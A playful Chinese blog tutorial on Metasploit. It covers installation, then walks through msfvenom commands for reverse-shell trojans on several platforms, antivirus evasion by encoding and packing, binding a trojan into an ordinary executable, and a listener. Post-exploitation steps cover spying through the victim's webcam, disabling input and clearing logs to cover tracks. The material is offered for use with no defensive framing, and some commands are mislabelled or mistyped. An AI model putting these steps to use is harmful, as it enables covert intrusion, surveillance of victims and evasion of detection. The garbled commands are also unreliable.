菜鸡玩 metasploit

正文索引 [隐藏]

一、metasploit 简介

说到 metasploit 这个牛逼玩意儿,它是个完整的渗透测试框架,附带数百个已知的软件漏洞,并保持频繁更新,号称“可以黑掉整个宇宙”~,从什么主机扫描啊,注入哇,给操作系统脑袋上面开瓢啊一套操作简直齐活了,要全部掌握了基本可以告别 kali,就是个渗透测试全家桶,完全不需要知道什么恶意代码怎么写哇,漏洞怎么复现啊等等理论知识,开局一把刀,一刀 999,变成一只傻萌傻萌的脚本小子(emmm,这么看本菜鸡似乎脚本小子的技术水平都没到。。。。)

xbk1-2

当然啦,metasploit 是一个完整的大型渗透框架,本菜鸡这一篇当然讲不完,主要还是聚焦在 exploit/multi/handler 这个模块上面吧,图个乐子啦啦啦~

二、metasploit 安装

来来来,下载地址:https://windows.metasploit.com/metasploitframework-latest.msi

然后注意注意,创建一个空文件夹作为 metasploit 安装路径,然后加入杀毒软件的 白!名!单!,不然安装过程一边安装,杀毒软件一边删(手动笑哭)。

啥玩意,不知道白名单怎么加?。。。。。退群吧

然后呐,由于这东西是个命令行工具,所以加入咱们把它加到环境变量里面,win 10 的环境变量设置:此电脑右键 -> 属性 -> 高级系统设置 -> 环境变量

1563768193095

详细设置:系统变量 Path -> 编辑 -> 新建 -> 将 metasploit 安装路径输入进入 -> 确定1563768281536

好啦,进入windows 终端, 键入 msfconsole 看看效果:
1563778741304

每次登陆都有挺骚气的界面~

三、postgresql 安装

故名思议,postgresql 是个数据库,贼流行的那种,为啥要装这个呐,因为 metasploit 本身存储了大量漏洞、脚本、信息,检索起来非常不方便,另外,如果批量扫描的话,扫描结果也没有地方存储,数据量一大,就需要数据库登场啦,早期版本的 metasploit 还支持 mysql 等其他数据库,但是最新版本中,metasploit 这个死傲娇终于只支持使用 postgresql 啦~

postgresql 坑比 mysql 少,如果是 kali 的话本身就自带,直接一个 service progresql start 就行,但是我们现在是在 windows 环境下,所以呐,windows 本身的安全策略会引起一个大坑。。。一定不能安装到 C 盘下的 ProgramFiles 里!!!否则会出现安装不完整导致 postgresql 服务无法启动的问题(这个时候网上一堆教程蹦出来告诉你安装时的 locale 要选 C 啥啥啥的,emmm 没卵用)

除了上面的安装路径的大坑外就一切好说啦,无脑下一步就行。

安装完成之后,进入 postgresql 设置一下就行啦,用户名密码端口之类的。

最后就是进入 msfconsole 连接一下数据库啦:

  • db_status:当前数据库连接情况
  • db_connect:连接数据库 (db_connect username:passwd@ipaddress:port)
  • db_save:保存当前连接配置,下次登陆时直接连接

配好后是这样哒:
1563779264755

四、简单木马的制作与 shell 的获取

这里主要使用 msf 集成的工具 msfvenom 进行制作,非常简单,脚本小子就是这么爽(虽然并不能免杀,除非手动加壳)

资源查询

首先,需要了解的是列举指令,这个能帮助使用者快速寻找到和合适的 漏洞框架 脚本,常用的有两条:

msfvenom -l payload # 查询可用载荷
msfvenom -l encoder # 查询可用编码

载荷还没有 payload 好理解,其实就是一些自动化脚本框架,再通俗一点就是搞定对面主机的方法,encoder 是加密恶意代码用的,通常来说加密次数越多被识别概率越低(虽然还是不能免杀T_T)

木马制作

这里介绍的一些简单的木马都是反向连接的,也就是说一旦在目标机器上面执行木马文件,目标机器会自动连接到攻击机上面,适用与目标机器在某一个内网中,攻击机器并不能直接连接的情况,也是因为这个,所以需要在木马中声明攻击机的 IP 地址和监听端口号:

# 制作 windows 64 位的测试,一旦链接就会被系统杀掉
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f exe -o shell.exe

# windows
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f elf -o shell.elf

# mac
msfvenom -p osx/x86/shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f macho -o shell.macho

# android
msfvenom -p andorid/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f exe -o shell.exe
  • -p:后加 payload
  • -f:文件类型
  • -o:输出文件地址
  • LHOST:攻击机地址
  • LPORT:攻击机监听端口

木马制作 PLUS

上面方法搓出来的是完全没有加密过的木马文件,要想达到免杀(让杀毒软件认不出来),就需要进行一些重新编码的操作了:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -e x86/shikata_ga_nai  -i 5 -f exe > shell.exe
  • -e:后加 encoder
  • -i:后加编码次数

还可以将木马和一个程序捆绑在一起:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -e x86/shikata_ga_nai  -i 5 -x <normal.exe file> -f exe > shell.exe
  • -x:待捆绑程序

并且能实现自动加壳(这个得进入 msfconsole 操作):

msf > upx -5 shell.exe

配置监听端口

做好了木马文件,我们就得在攻击机上面监听端口啦,守株待兔,等目标执行一次木马后,就能在攻击机上得到 shell 啦~

首先在 window 命令行输入 msfconsole 进入控制终端,然后使用 exploit\multi\handler 模块

use exploit\multi\handler

设置 payload,这个要和制作木马文件使用的相一致

set payload <Correlated payload>

然后查询需要完善的配置

show options

根据 options 完善配置,配置指令 set,例如 options 需要设置攻击机 IP

set lhost 192.168.0.1

有啥不懂就输入 help,其说明文档非常详细

最后,输入 run 或者 exploit 执行,等待目标反弹回的 shell 就行。

五、取得 shell 之后的操作

取得 shell 之后如果是目标机器是 windows 就比较好玩了, Android 需要给恶意程序摄像头、联系人啥的权限才好玩,当然如果 Android 被 root 过了,嘿嘿那我们就无敌了,所以说不要随便 root 手机,很危险哒,而如果目标是 linux 那多半是要搞大事情,直接进入 shell 了,过于严肃就不讨论啦,现在目标为 windows 的前提下举几个有趣操作的例子。

1. 控制目标的摄像头

  • webcam_list #查看摄像头

    1563764984559

  • webcam_snap # 通过摄像头拍照

  • webcam_stream # 通过摄像头开启视频

    • -i 指定摄像头
  • -h 帮助

    • ...

1563764995237

这个是帮助我测试的舍友 2333333,打码了打码了,黑牧护体1563765005781

2. 控制目标键鼠

  • uictl [enable/disable] [keyboard/mouse/all] 开启或禁止键盘/鼠标
  • uictl disable mouse 禁用鼠标
  • uictl disable keyboard 禁用键盘

3. 进入对方的 shell

如果想要获取对方的shell,尤其是在 linux 环境下进入 shell 可以进行一系列更骚气的操作,windows 这个emmm玩不来,很简单直接键入shell 即可

4. 清除日志

干完坏事要销声匿迹,走之前把日志清一下吧:clearav

5. 其他大量操作

上面只选了很少一部分比较有意思的操作,但是人家 metasploit 可是一个正经的渗透框架,如果仅仅当作大玩具用的话就太可惜了,可以直接键入 help 获取其他有用的命令信息